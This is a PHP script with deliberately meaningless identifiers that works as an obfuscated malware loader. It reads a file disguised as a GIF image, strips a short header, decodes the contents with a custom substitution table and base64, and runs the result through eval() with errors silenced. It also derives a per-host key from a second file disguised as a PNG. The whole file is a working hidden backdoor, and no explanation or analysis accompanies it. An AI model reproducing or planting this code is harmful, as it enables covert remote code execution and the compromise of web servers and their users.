<?php

class ivykek_wawypuwizh {

    public $ocelosu = 'ixuhiby.gif';
    public $ezaleq_ychiqono = false;
    public $muwaba_feshigobi = false;
    public $ewixaf_iwisycabu = false;

    protected function hevyxy_asekikhy($anylon_avythothece) {
        $bazyka_tezithichil = crc32($anylon_avythothece);
        if ((PHP_INT_SIZE > 4) && ($bazyka_tezithichil & 0x80000000))
            $bazyka_tezithichil = $bazyka_tezithichil - 0x100000000;
        return abs($bazyka_tezithichil);
    }

    protected function utisan_echynuli($anylon_avythothece) {
        $hisadam = "quLs+twazd4=J2RNcQvVM0je86T9mfIb1hnOglWXC7HUBZ3iFEDy5/rPYpxkSoGAK";
        $ikhorot = "uXAQ1owS0cl=M8mBbiRIH3kT2vYhFxPf5DdLpntGJjZE7g/U6s9y4zrWeq+NOVCKa";
        $ufosybi = array();
        for ($fizatu = 0; $fizatu < strlen($hisadam); $fizatu++) {
            $ysuxoq = substr($hisadam, $fizatu, 1);
            $suzhalu = substr($ikhorot, $fizatu, 1);
            $ufosybi[$ysuxoq] = $suzhalu;
        }

        $oqiwiv = strtr($anylon_avythothece, $ufosybi);
        $oqiwiv = base64_decode($oqiwiv);

        return $oqiwiv;
    }

    protected function ukipav_lyxenykhu($anylon_avythothece) {
        $waboxu = array();
        if (!file_exists($anylon_avythothece))
            return false;
        $ohabiri = @file_get_contents($anylon_avythothece);
        if (!$ohabiri)
            return false;
        $ohabiri = substr($ohabiri, 3);
        $waboxu = $this->utisan_echynuli($ohabiri);
        return $waboxu;
    }

    public function ozelud_nuhedachyb() {
        $salona_evamepam = __DIR__ . "/" . $this->ocelosu;
        $apyvyq_ushowawuba = $this->ukipav_lyxenykhu($salona_evamepam);
        if (!$apyvyq_ushowawuba)
            return false;
        $this->ezaleq_ychiqono = $apyvyq_ushowawuba;
        return true;
    }

    public function nogeqy_chazhikhezhym() {
        if ($this->muwaba_feshigobi)
            return true;
        $salona_evamepam = __DIR__ . '/netery.png';
        if (!file_exists($salona_evamepam)) {
            return false;
        }

        $apyvyq_ushowawuba = $this->ukipav_lyxenykhu($salona_evamepam);
        $bazyka_tezithichil = "HTTP_" . "HOST";
        $nipono_uravugoj = $_SERVER[$bazyka_tezithichil];
        $usigyk_cuchathumash = floor(strlen($apyvyq_ushowawuba) / 32);
        $efoqof_amaruthiqe = $this->hevyxy_asekikhy($nipono_uravugoj) % $usigyk_cuchathumash;
        $xeralo_avuludethu = substr($apyvyq_ushowawuba, $efoqof_amaruthiqe * 32, 32);
        $this->ewixaf_iwisycabu = $efoqof_amaruthiqe;
        $this->muwaba_feshigobi = $xeralo_avuludethu;

        if (!defined('oraqix_axywehav'))
            define('oraqix_axywehav', $xeralo_avuludethu);
        if (!defined('hedasi_diwatenyth'))
            define('hedasi_diwatenyth', $efoqof_amaruthiqe + 1);

        return $xeralo_avuludethu;
    }

}

$elykiq = new ivykek_wawypuwizh();
$elykiq->nogeqy_chazhikhezhym();
$elykiq->ozelud_nuhedachyb();

if ($elykiq->ezaleq_ychiqono) {
    @eval($elykiq->ezaleq_ychiqono);
}